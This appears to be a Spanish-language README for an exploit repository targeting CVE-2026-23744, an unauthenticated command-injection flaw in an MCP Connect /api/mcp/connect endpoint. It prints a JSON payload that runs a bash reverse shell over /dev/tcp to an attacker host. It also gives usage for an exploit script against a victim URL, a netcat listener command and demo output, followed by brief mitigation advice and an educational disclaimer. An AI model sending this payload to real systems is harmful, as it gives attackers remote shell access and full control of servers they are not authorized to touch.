使用说明
CVE-2026-23744 — MCP Connect RCE via Unauthenticated Command Injection
⚠️ Disclaimer: Este repositorio es solo con fines educativos y de investigación en seguridad. El uso de este exploit contra sistemas sin autorización explícita es ilegal. El autor no se hace responsable del mal uso de este código.
📌 Descripción de la Vulnerabilidad
La vulnerabilidad reside en el endpoint /api/mcp/connect, el cual permite a un atacante no autenticado registrar un servidor MCP (Model Context Protocol) arbitrario con una configuración maliciosa. Al no existir validación ni sanitización del campo command y sus args, es posible inyectar comandos del sistema operativo que se ejecutan directamente en el servidor con los privilegios del proceso web.
Esto resulta en una ejecución remota de código (RCE) que puede aprovecharse para obtener una reverse shell sobre el sistema comprometido.
🧠 Detalles Técnicos
| Campo | Detalle |
|---|---|
| Tipo | Remote Code Execution (RCE) |
| Vector | Red (HTTP POST sin autenticación) |
| Endpoint | /api/mcp/connect |
| Severidad | 🔴 Crítica |
| Autenticación | No requerida |
| Impacto | Control total del servidor |
Payload malicioso
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
El servidor procesa esta configuración e invoca el comando bash con los argumentos proporcionados, estableciendo una conexión TCP inversa hacia el atacante.
🛠️ Requisitos
- Python 3.x
- Las siguientes librerías:
pip install requests termcolor
🚀 Uso
python3 exploit.py -l <TU_IP> -u <URL_OBJETIVO>
Parámetros
| Parámetro | Descripción | Ejemplo |
|---|---|---|
-l |
Tu IP (donde recibirás la shell) | 192.168.1.50 |
-u |
URL base del objetivo | https://victim.com |
Ejemplo completo
Terminal 1 — Listener:
nc -nlvp 443
Terminal 2 — Exploit:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
🎬 Demo
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
Una vez enviada la solicitud, el listener en el puerto 443 recibirá la conexión inversa con una shell interactiva del servidor comprometido.
🛡️ Mitigación
- Validar y sanitizar todos los campos del body en
/api/mcp/connectantes de procesarlos. - Autenticar el endpoint y restringir su acceso solo a usuarios con privilegios.
- Nunca ejecutar comandos del sistema directamente a partir de input del usuario.
- Implementar una lista blanca de comandos permitidos.
- Aplicar principio de mínimo privilegio al proceso del servidor web.
📁 Estructura del Repositorio
.
├── exploit.py # Script principal del exploit
└── README.md # Este archivo
👤 Autor
Desarrollado con fines de investigación en seguridad ofensiva por Jorge Arana Fedriani.